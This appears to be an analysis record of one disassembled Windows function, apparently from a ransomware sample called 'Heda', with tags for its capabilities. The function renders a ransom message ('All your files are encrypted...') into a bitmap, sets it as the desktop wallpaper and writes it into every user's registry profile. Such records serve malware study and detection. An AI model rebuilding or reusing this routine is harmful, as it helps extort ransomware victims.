Function at 0x14001c9f0
Capabilities:
Change the wallpaper
Query or enumerate registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140093080]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r12d, r12d
mov dword [rbp - 0x38], 1
xor r8d, r8d
mov qword [rbp - 0x30], r12
lea rdx, [rbp - 0x38]
mov qword [rbp - 0x28], r12
lea rcx, [rbp - 0x40]
call qword [sym.imp.gdiplus.dll_GdiplusStartup]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x28], rax
mov r9d, 0x21808
xor r8d, r8d
mov qword [rsp + 0x20], r12
mov edx, 0x438
mov ecx, 0x780
call qword [sym.imp.gdiplus.dll_GdipCreateBitmapFromScan0]
mov rdi, qword [rsp + 0x60]
lea rdx, [rsp + 0x60]
mov rcx, rdi
mov qword [rsp + 0x60], r12
call qword [sym.imp.gdiplus.dll_GdipGetImageGraphicsContext]
mov rsi, qword [rsp + 0x60]
lea rdx, [rsp + 0x60]
mov ecx, 0xff000000
mov qword [rsp + 0x60], r12
call qword [sym.imp.gdiplus.dll_GdipCreateSolidFill]
mov r14, qword [rsp + 0x60]
xor r9d, r9d
mov rdx, r14
mov dword [rsp + 0x28], 0x438
xor r8d, r8d
mov dword [rsp + 0x20], 0x780
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipFillRectangleI]
lea r8, [rsp + 0x68]
mov dword [rbp - 0x64], r12d
xor edx, edx
mov qword [rbp - 0x70], r12
lea rcx, str.Arial
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], r12
call qword [sym.imp.gdiplus.dll_GdipCreateFontFamilyFromName]
mov rdx, qword [rsp + 0x68]
lea rbx, [0x140096ae8]
mov dword [rsp + 0x70], r12d
mov r10, rdx
mov dword [rbp - 0x68], eax
test eax, eax
je 0x14001cb52
mov rcx, qword [0x140096ae0]
test rcx, rcx
jne 0x14001cb3d
mov rcx, rbx
mov qword [0x140096ae0], rbx
call qword [sym.imp.gdiplus.dll_GdipGetGenericFontFamilySansSerif]
mov rcx, qword [0x140096ae0]
mov dword [rcx + 8], eax
mov rdx, qword [rsp + 0x68]
mov eax, dword [rcx + 8]
mov r10, qword [rcx]
mov dword [rbp - 0x68], eax
test eax, eax
je 0x14001cb52
mov rcx, rdx
jmp 0x14001cbda
movss xmm1, dword [0x140089840]
lea rax, [rbp - 0x70]
mov r9d, 3
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, r10
call qword [sym.imp.gdiplus.dll_GdipCreateFont]
mov dword [rbp - 0x68], eax
test eax, eax
je 0x14001cbd5
mov rcx, qword [0x140096ae0]
test rcx, rcx
jne 0x14001cba2
mov rcx, rbx
mov qword [0x140096ae0], rbx
call qword [sym.imp.gdiplus.dll_GdipGetGenericFontFamilySansSerif]
mov rcx, qword [0x140096ae0]
mov dword [rcx + 8], eax
mov eax, dword [rcx + 8]
mov rdx, qword [rcx]
mov dword [rbp - 0x68], eax
test eax, eax
jne 0x14001cbd5
movss xmm1, dword [0x140089840]
lea rax, [rbp - 0x70]
mov r9d, 3
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, rdx
call qword [sym.imp.gdiplus.dll_GdipCreateFont]
mov dword [rbp - 0x68], eax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.gdiplus.dll_GdipDeleteFontFamily]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x60], r12
mov ecx, 0xffffffff
call qword [sym.imp.gdiplus.dll_GdipCreateSolidFill]
movaps xmm0, xmmword [0x140089870]
lea r8, [rbp - 0x80]
mov r15, qword [rsp + 0x60]
xor edx, edx
xor ecx, ecx
mov qword [rbp - 0x78], r12
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x80], r12
call qword [sym.imp.gdiplus.dll_GdipCreateStringFormat]
mov rcx, qword [rbp - 0x80]
mov edx, 1
mov dword [rbp - 0x78], eax
call qword [sym.imp.gdiplus.dll_GdipSetStringFormatAlign]
mov ecx, dword [rbp - 0x78]
mov edx, 1
test eax, eax
cmovne ecx, eax
mov dword [rbp - 0x78], ecx
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.gdiplus.dll_GdipSetStringFormatLineAlign]
mov ecx, dword [rbp - 0x78]
lea rdx, str.Heda_nAll_your_files_are_encrypted_nfor_more_information_see_HowToRecover.txt_that_is_located_in_every_encrypted_folder
mov r9, qword [rbp - 0x70]
test eax, eax
mov qword [rsp + 0x30], r15
mov r8d, 0xffffffff
cmovne ecx, eax
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x20]
mov dword [rbp - 0x78], ecx
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.gdiplus.dll_GdipDrawString]
lea rdx, [rbp - 0x10]
lea rcx, str.557CF400_1A04_11D3_9A73_0000F81EF32E
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea r13, str.C:_background.bmp
xor r9d, r9d
mov rdx, r13
lea r8, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
xor edx, edx
mov r9d, 3
mov r8, r13
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
lea rax, [rsp + 0x78]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001ced3
mov rcx, qword [rsp + 0x78]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x38], r12
lea r8, [rbp]
mov qword [rsp + 0x30], r12
xor edx, edx
mov qword [rsp + 0x28], r12
mov ebx, r12d
mov qword [rsp + 0x20], r12
mov dword [rsp + 0x60], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14001cec8
xorps xmm0, xmm0
mov qword [rsp + 0x50], r12
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x58], r12
lea rax, [rbp]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r12w
jne 0x14001cd50
lea rdx, [rbp]
lea rcx, [rsp + 0x40]
call fcn.1400182c0
lea rdx, str.Control_PanelDesktop
lea rcx, [rsp + 0x40]
call fcn.140017fa0
mov qword [rbp - 0x50], r12
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x48], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14001cde9
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cde4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001cf3b
call fcn.14004f064
cmp qword [rbp - 0x48], 7
lea rax, [rsp + 0x68]
lea rdx, [rbp - 0x60]
mov qword [rsp + 0x20], rax
cmova rdx, qword [rbp - 0x60]
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14001ce4c
mov rcx, qword [rsp + 0x68]
lea r9d, [rax + 1]
mov dword [rsp + 0x28], 0x24
lea rdx, str.Wallpaper
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x48]
mov dword [rsp + 0x60], 0x100
cmp rdx, 7
jbe 0x14001ce94
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ce8f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001cf41
call fcn.14004f064
mov rcx, qword [rsp + 0x78]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x38], r12
lea r8, [rbp]
mov qword [rsp + 0x30], r12
inc ebx
mov qword [rsp + 0x28], r12
mov edx, ebx
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14001cd33
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.gdiplus.dll_GdipDeleteStringFormat]
mov rcx, r15
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.gdiplus.dll_GdipDeleteFont]
mov rcx, r14
call qword [sym.imp.gdiplus.dll_GdipDeleteBrush]
mov rcx, rsi
call qword [sym.imp.gdiplus.dll_GdipDeleteGraphics]
mov rcx, rdi
call qword [sym.imp.gdiplus.dll_GdipDisposeImage]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.14004ea40
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140055854
int3
call fcn.140055854
int3